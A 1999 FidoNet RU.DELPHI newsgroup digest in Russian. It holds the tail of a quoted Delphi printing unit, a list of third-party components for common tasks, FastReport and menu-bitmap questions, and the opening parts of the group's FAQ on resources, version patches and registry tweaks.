SetPrinterParams(PrintName,DocumName,LaserFont: PChar); stdcall; var st:string; code: integer; begin if PrintName<>nil then begin PrinterName:=StrPas(PrintName); FHPrinter:=0; PrinterDC:=0; end; if DocumName<>nil then DocName:=StrPas(DocumName); if LaserFont<>nil then begin st:=StrPas(LaserFont); val(LeftSubstr(st),FontHeight,code); if code<>0 then FontHeight:=0; val(LeftSubstr(st),FontWidth,code); if code<>0 then FontWidth:=0; val(LeftSubstr(st),FontWeight,code); if code<>0 then FontWeight:=0; FontName:=LeftSubstr(st); SetLaserFont; end; end; procedure NewPage(var Prn: PrnRec); begin with Prn do begin Cur.X := 0; Cur.Y := 0; EndPage(PrinterDC); StartPage(PrinterDC); end; end; procedure NewLine(var Prn: PrnRec); function CharHeight: Word; var Metrics: TTextMetric; begin GetTextMetrics(PrinterDC, Metrics); Result := Metrics.tmHeight; end; begin with Prn do begin Cur.X := 0; if Height = 0 then Inc(Cur.Y, CharHeight) else Inc(Cur.Y, Height); if Cur.Y > (Finish.Y - (Height * 2)) then NewPage(Prn); Height := 0; end; end; procedure PrnOutStr(var Prn: PrnRec; Text: PChar; Len: Integer); var Extent: TSize; L: Integer; begin with Prn do begin while Len > 0 do begin L := Len; GetTextExtentPoint32(PrinterDC, Text, L, Extent); while (L > 0) and (Extent.cX + Cur.X > Finish.X) do begin L := CharPrev(Text, Text+L) - Text; GetTextExtentPoint32(PrinterDC, Text, L, Extent); end; if Extent.cY > Height then Height := Extent.cY + 2; Windows.TextOut(PrinterDC, Cur.X, Cur.Y, Text, L); Dec(Len, L); Inc(Text, L); if Len > 0 then NewLine(Prn) else Inc(Cur.X, Extent.cX); end; end; end; function PrnString(Text:PChar):LongBool; stdcall; var L,Len,i,k: Integer; TabWidth: Word; a: boolean; n: DWORD; p_old,p_new: PChar; procedure Flush; begin if L <> 0 then PrnOutStr(RecPrn, Text, L); Inc(Text, L + 1); Dec(Len, L + 1); L := 0; end; function AvgCharWidth: Word; var Metrics: TTextMetric; begin GetTextMetrics(PrinterDC, Metrics); Result := Metrics.tmAveCharWidth; end; begin PrnString:=False; if (FHPrinter or PrinterDC)=0 then FormatReportError('Попытка печатать без начала документа.') else begin Len:=StrLen(Text); If MatrixPrinter then begin If CharSet=pAnsi then AnsiToOemBuff( Text, Text, Len ); a:=WritePrinter(FHPrinter, Text, Len, n); PrnString:=a and (n=Len); end else begin PrnString:=True; If CharSet=pOem then OemToAnsiBuff( Text, Text, Len ); L := 0; with RecPrn do begin while L < Len do begin case Text[L] of #9: begin Flush; TabWidth := AvgCharWidth * 8; Inc(Cur.X, TabWidth - ((Cur.X + TabWidth + 1) mod TabWidth) + 1); if Cur.X > Finish.X then NewLine(RecPrn); end; #13: Flush; #10: begin Flush; NewLine(RecPrn); end; ^L: begin Flush; NewPage(RecPrn); end; else Inc(L); end; end; end; Flush; end; end; end; function PrnFile(Name:PChar):LongBool; stdcall; var fi1:Text; st: AnsiString; a: boolean; begin PrnFile:=False; {$I-} AssignFile(fi1,StrPas(name)); Reset(fi1); if (IOResult)<>0 then FormatReportError('Can not open printer file') else begin a:=True; while not eof(fi1) do begin readln(fi1,st); a:=a and (IOResult=0) and PrnString(PChar(st+#13#10)); end; CloseFile(fi1); PrnFile:=(IOResult=0) and a; end; {$I+} end; function PrnStartPage:LongBool; stdcall; begin PrnStartPage:=False; if (FHPrinter or PrinterDC)=0 then FormatReportError('Попытка начать страницу без начала документа.') else begin If MatrixPrinter then PrnStartPage:=StartPagePrinter(FHPrinter) else PrnStartPage:=LongBool(StartPage(PrinterDC)); end; end; function PrnEndPage:LongBool; stdcall; var n: DWORD {integer}; a: boolean; begin PrnEndPage:=False; if (FHPrinter or PrinterDC) = 0 then FormatReportError('Попытка завершить страницу без начала документа.') else begin If MatrixPrinter then begin a:=True; n:=1; if (GetVersion and $80000000)=1 then {IF WIN95} a:=WritePrinter(FHPrinter, PChar(#12), 1, n); PrnEndPage:=(n=1) and a and EndPagePrinter(FHPrinter); end else PrnEndPage:=(EndPage(PrinterDC)>0); end; end; function PrnStart(Mode:LongInt):LongBool; stdcall; var DocInf: TDocInfo; DocInfo: TDocInfo1; a: boolean; xDevMode: PDeviceMode; PrnDlg: TPrintDlg; begin PrnStart:=False; if (FHPrinter or PrinterDC)<> 0 then FormatReportError('Предыдущий сеанс печати не завершен.') else begin if (NO_INIT and mode)=0 then SetPrinterParams('','',nil); with PrnDlg do begin lStructSize:=sizeof(PrnDlg); hWndOwner:=0; hDevMode:=0; hDevNames:=0; hDC:=0; Flags:=PD_HIDEPRINTTOFILE or PD_NOPAGENUMS or PD_RETURNDC or PD_USEDEVMODECOPIESANDCOLLATE or PD_NOSELECTION; if (PRINTER_DIALOG and mode)=0 then Flags:=Flags or PD_RETURNDEFAULT; nCopies:=1; hInstance:=0; lCustData:=0; lpPrintTemplateName:=nil; lpSetupTemplateName:=nil; hPrintTemplate:=0; hSetupTemplate:=0; end; if PrintDlg(PrnDlg) then begin xDevMode:=GlobalLock(PrnDlg.hDevMode); if (NO_INIT and mode)=0 then begin PrinterName:=StrPas(xDevMode^.dmDeviceName); PrinterDC:=PrnDlg.hDC; case PrnType of 0:MatrixPrinter:=(xDevMode.dmPrintQuality0); end; end else begin SetLaserFont; with RecPrn do begin Cur.X := 0; Cur.Y := 0; Finish.X := GetDeviceCaps(PrinterDC, HorzRes); Finish.Y := GetDeviceCaps(PrinterDC, VertRes); Height := 0; end; with DocInf do begin cbSize:=sizeof(DocInf); lpszDocName:=PChar('FormatReport: '+DocName); lpszOutput:=nil; lpszDatatype:='EMF'; fwType:=0; end; a:=(StartDoc(PrinterDC,DocInf)>0) end; PrnStart:=a and PrnStartPage; end; end; end; function PrnStop:LongBool; stdcall; var a,b:boolean; begin PrnStop:=False; if (FHPrinter or PrinterDC) = 0 then FormatReportError('Попытка завершить печать без начала документа.') else begin a:=PrnEndPage; If MatrixPrinter then begin b:=EndDocPrinter(FHPrinter); PrnStop:=a and b and ClosePrinter(FHPrinter); end else begin PrnStop:=a and (EndDoc(PrinterDC)>0); if _hfont<>0 then DeleteObject(_hfont); end; FHPrinter:=0; PrinterDC:=0; end; end; end. === Конец цитаты === С комсомольским приветом, S.A. #/▄▄▄▄▄/# _*/▀▀▀▀▀/*_ ... Товарищи! Позвольте мне от имени и по поручению и от себя лично выразить... --- * Origin: Желаю странного... (2:5024/11.67) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 316 of 341 From : Evgeniy Belov 2:5035/21.300 01 Nov 99 18:33:00 To : All Subj : New FAQ for RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── Доброго ВАМ здоровьичка All! Вот не мог отказать человеку. ============================================================================= * Перемещено Evgeniy Belov (2:5035/21.300) * Area : NETMAIL (NETMAIL) * From : Anikanich, 2:5035/21.61@FIDOnet.org (Суббота Октябрь 30 1999 15:14) * To : Evgeniy Belov * Subj : New FAQ for RU.DELPHI ============================================================================= Как делишки, как детишки, Evgeniy ? Запости пожалуйста следующий текст в RU.DELPHI. ---------------------------------------------------------------------------- Господа, вашему вниманию предлагается новый FAQ. Честно говоря, в течение года по эхе пробегало множество факов, наиболее известный Махоткинский. Однако вопросы использования сторонних компонент в них рассмотрены, мягко говоря, слабо. (Один раз пробегал, правда, фак по компонентам, автора не помню, но это было только один раз). Посему рад вам представить свой новый проект: LMD-FAQ от А.Аниканова. Hазвание такое выбрано потому, что большинство вопросов в стиле "как это сделать?" возникают у ламеров. А лично я считаю, что наиболее короткий путь от ламера к чайнику лежит на использовании сторонних компонент (ну коль ты свое сделать не можешь). Еще раз подчеркиваю, что это мое личное мнение и попрошу лично господина А.Тенцера (который как известно не использует сторонних компонент) учесть, что оно также имеет право на существование. А посему : Lamers Must Die. Правда, проект еще далеко не доделан, это ,так сказать, пробный шар. Если пойдет, буду продолжать. В общем получайте что есть. L M D - F A Q Как создать окно произвольной формы? Как перетаскивать окно за любое место, а не только за заголовок? Воспользоваться компонентой mlRegionForm из набора MediaLib, sohoRegionForm из набора SohoLib. Как поместить иконку своей программы возле часиков? Воспользоваться компонентами RxTrayIcon из набора RxLib, StTrayIcon из набора SysTools LMDTrayIcon из набора LMDTools или другими, в которых есть слово Tray. (Я встречал порядка десятка в различных наборах или отдельно). Как запустить внешнюю программу? Воспользоваться компонентами xProcExec из набора xTools-Nails, LMDStarter из набора LMDTools, Как просмотреть версию(и другие параметры) исполняемого файла? Воспользоваться компонентами StVersionInfo из набора SysTools. LMDStVersionInfo из набора LMDTools. Воспользоваться классом TVersionInfo из набора RxTools. Как вычислить CRC? Воспользоваться компонентой xCRCCalc из набора xTools-Nails. Как создать окно с бегушим скроллингом? Воспользоваться компонентой xCredit из набора xTools-Nails. Как зашифровать файл? Воспользоваться компонентой xCrypt из набора xTools-Nails. Как вычислить какой день недели был в данный день? Воспользоваться компонентой xDateCalc из набора xTools-Nails. Как скопировать файл? Воспользоваться компонентой xFileCopy из набора xTools-Nails. Позволяет копировать определенный размер. А чтобы процесс был визуальным, как в Windows? Воспользоваться компонентой StFileOperation из набора SysTools. Как в приложении отлавливать нажатия на какую-то кнопку? Воспользоваться компонентой xSecurityKey из набора xTools-Nails. Как в перевести число из одной системы счисления в другую? Воспользоваться компонентой xNumberConvert из набора xTools-Nails. Единственный хороший компонент из этого набора. Позволяет переводить числа из любой системы, в том числе можно задать свою собственную. Как задать параметры печати? Воспользоваться компонентой xPrintOut из набора xTools-Nails. Как работать с регистром? Воспользоваться компонентой xRegistry из набора xTools-Nails. Как запомнить параметры формы(Размер,Положение,Цвет)? Воспользоваться компонентой xRemember из набора xTools-Nails. Как вычислить разность между двумя датами? Воспользоваться компонентой xTimeCalc из набора xTools-Nails или функцией DateDiff из набора RxLib. Может вычислить сколько месяцев, дней, часов, минут, секунд прошло между определенными участками времени. Как отсортировать строки в TStrings? Воспользоваться компонентой xStrList из набора xTools-Nails. С возможностью сортировки, реакции на дубликаты. Как написать свой ScreenSaver? Воспользоваться компонентой xScreenSaver из набора xTools-Nails. Воспользоваться компонентой mmScreenSaver из набора Multimedia Tools. Воспользоваться компонентой LMDScreenSaver из набора LMDTools. Как написать ComboBox для изменения временных зон как в Windows 9х? Воспользоваться компонентой xTimeZone из набора xTools-Nails. Как проиграть звуковой файл? Wave - компоненты MediaPlayer - со странички System, mlWavePlayer из набора MediaLib, hgWavePlayer из набора HighGear, LMDWaveComp из набора LMD Tools, Mpeg - компоненты AudioPlayer из набора MediaLib, Как сделать красивую панель? Воспользоваться компонентами mlMediaPanel из набора MediaLib, hgPanel из набора HighGear, LMDPanel из набора LMDTools, Как изменить цвет, фон кнопки, а также цвет надписи ? Воспользоваться компонентами mlMediaButton,mlBitmapButton, mlBlurButton,mlSphereButton,mlGrashGuardButton mlRegionSpeedButton из набора MediaLib, hgBitBtn1 из набора HighGear, Как показать картинку формата отличного от bmp? Воспользоваться компонентами из набора ImageLib Suite, hgImage из набора HighGear, ActiveX LigthLib, библиотекой NViewLib, Как настроить параметры вывода даты, времени или денег? Воспользоваться компонентами CurrencyStorage и DateTimeStorage из набора VGLib. Как сделать заголовок окна в Windows 95 как в Windows 98? Воспользоваться компонентами RxGradientCaption из набора RxLib. Как поместить свою иконку на Desktop? Воспользоваться компонентой StShortcut из набора SysTools. Как программно нажать клавиши "ScrollLock","NumLock","CapsLock","Insert"? Воспользоваться компонентой hgKeyState из набора HighGear. Как работать с COM-портом? Воспользоваться набором компонент Async Pro. Воспользоваться компонентой hgComm из набора HighGear. Как сделать фон формы равномерно переходящим из одного фвета в другой? Воспользоваться компонентой hgFormGradient из набора HighGear. Воспользоваться компонентой esGradient из набора Essentials. Как сделать чтобы размеры компонент изменялись при изменении размера формы или разрешении экрана? Воспользоваться компонентами hgResizer и hgFormRes из набора HighGear. Как сделать чтобы форма сворачивалась и раскрывалась с анимацией? Воспользоваться компонентой hgFormExplode из набора HighGear. Как перевести текст из TEdit в число? Воспользоваться компонентой CurrencyEdit из набора RXLib. Как мне работать с архивами? Воспользоваться набором компонент TZipTV. Как написать спектроанализатор? Воспользоваться компонентами из набора Multimedia Tools. PS: Только не спрашивайте меня где взять те или иные компоненты. Сам пользуюсь в основоном CD-ROM (Благо в нашей пиратской стране это не проблема). Хотя в дальнейшем собираюсь это дело вставить. А для начала можете поискать на www.torry.ru (довольно большой набор компонент). PSS: Попрошу не развивать особого флейма по поводу следует ли пользоваться сторонними компонентами. Сам Дельфи грешит вставкой в свою поллитру (пардон, палитру) глюкавых компонент от сторонних фирм. PSSS: И учтите, что я в ReadOnly, поэтому отвечать активно не смогу. Хотя здесь и любят пинать дохлых львов. Шлю Вам мои наилучшие пожелания, Алексей Аниканов. -------------------------------------------------------------------------- Hогами просьба не пинать. За сим прощаюсь, Evgeniy Belov. --- Golded 2.5 UNREG * Origin: Совместный труд, для моей пользы, объединяет... (2:5035/21.300) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 317 of 341 From : Vitaly Sazhchenko 2:465/184.15 02 Nov 99 17:59:00 To : All Subj : FastReport 2.2 ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: localhost!f285.n465.z2!p15.f184.n465.z2!not-for-mail Привет, All! Кто-нибудь пользовался в сабже frRichObject-ом ? У меня возникли пpи этом две пpоблемы: 1. вставляемые значения пеpеменных в тексте содеpжали "[" напpимеp: "Договоp № [Hомеp]" в отчете получаю "Договоp № [56-А" Пpоблема pешилась следующим обpазом: в fr_Rich в procedure GetRichData re.SelStart:=sum+i-1 вместо re.SelStart:=sum+i все бы хоpошо, но... 2. в pантайме пpи пpивью отчета, если текст занимает более экpана, то пpи пpокpутки он частично затиpается и востанавливается после печати, напpимеp. Hа качество печати это естественно не влияет,но как-то не эстетично. Эту пpоблему я победить не смог. Что думает уважаемый ALL по этому поводу? И еще,если позволите. Если я пользуюсь объектом "pисунок", то могу я пеpед печать или пpевью отчета pисовать на его канве ? Как к нему достучаться? Или может кто подскажет что-нибудь лудшее. Мне нужно выводить на пpинтеp элементаpную гpафику (пpямоугольники,линии и т.д.) по данным введеным юзеpом пpи этом хотелось бы пользоваться сабжем (уж очень он мне нpавится). Заpанее благодаpен всем откликнувшимся. e-mail: vvs@nbank.donetsk.ua или мылом или в эху :) З.Ы. Ребята, я еще не писал в эху меня хоть видно? Будешь проходить мимо .... заходи. Виталий. [Team "ФизМат-Forever!"] [Team "Матфак-Чемпион"] --- * Origin: Привычное обернулось потрясением... (2:465/184.15) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 318 of 341 From : Diagon 2:464/36 06 Nov 99 00:40:00 To : All Subj : Картинка в меню ──────────────────────────────────────────────────────────────────────────────── Roman Melyohin пишет в сообщении <941837187@p30.f150.n5000.z2.Fidonet.ftn> ... >юЕЗП ФЧПpЙЫШ, Unit ? > > юЕФЧЕТЗ HПСВТШ 04 1999 11:39, Unit РЙУБМ All: > > U> пЮЕОШ ИПЮЕФУС ХЪОБФШ, ЛБЛ HПЦОП ЧУФБЧЙФШ ЛБТФЙОЛХ УМЕЧБ Ч HЕОА, РП > U> ФЙРХ ЗМБЧОПЗП HЕОА ЧЙОДЩ. > >Ч D4 ЕУФШ ImageIndex, Б ДМС > тБУРЙОБМУС Roman Melyohin. > e-mail: progger@mail.ru demon@online.sinor.ru > OR procedure TForm1.FormCreate(Sender: TObject); begin { случае если имя меню написано русскими символами} SetMenuItemBitmaps(MainMenu1.items[0].Handle, 1, MF_BYPOSITION, Image1.Picture.Bitmap.Handle, 0); end; так нулевому итемсу меню можно назначить картинку, например, из имиджа1 формы, а можно читать из ресурса, а можно читать из ф-ла и т.п. работает и в Д2 --- ifmail v.2.12-ax/h * Origin: Customer of Alice-Telecom I.S.P. (2:464/36@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 319 of 341 - 294 + 326 From : Alexey_Mahotkin 2:5020/433 03 Nov 99 22:58:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941659092 17818 127.0.0.1 (3 Nov 1999 19:58:12 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Nov 1999 19:58:12 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.20 1999/10/17 12:22:06 alexm Exp $ (pearl trap) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. Сопутствующие проекты: ссылки на все известные человечеству документы, подобные этому, включая сам этот документ, находятся на [3]http://delphi.da.ru. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [4]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [5]http://www.sysinternals.com. Hа [6]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [7]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [8]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [9]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [10]http://www.rxlib.com. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 320 of 341 - 295 + 327 From : Alexey_Mahotkin 2:5020/433 03 Nov 99 22:58:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941659093 17821 127.0.0.1 (3 Nov 1999 19:58:13 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Nov 1999 19:58:13 GMT файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [11]http://www.altavista.com, [12]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [13]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [14]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [15]http://www.rxlib.com. Очень полезным ресурсом является Delphi Bug List, лежащий по адресу [16]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. В FIDO вы можете подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [17]Преамбула [18]Доступность этого F.A.Q. [19]Контрибуторы [20]Источники информации [21]Вопросы, связанные с конкретными версиями Delphi [22]Вопросы, однозначно сводящиеся к использованию rxLib [23]Вопросы, возникающие от неумения читать книжки [24]Библиотеки, инструменты и т. п. [25]Относительно большие ответы/примеры кода [26]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во 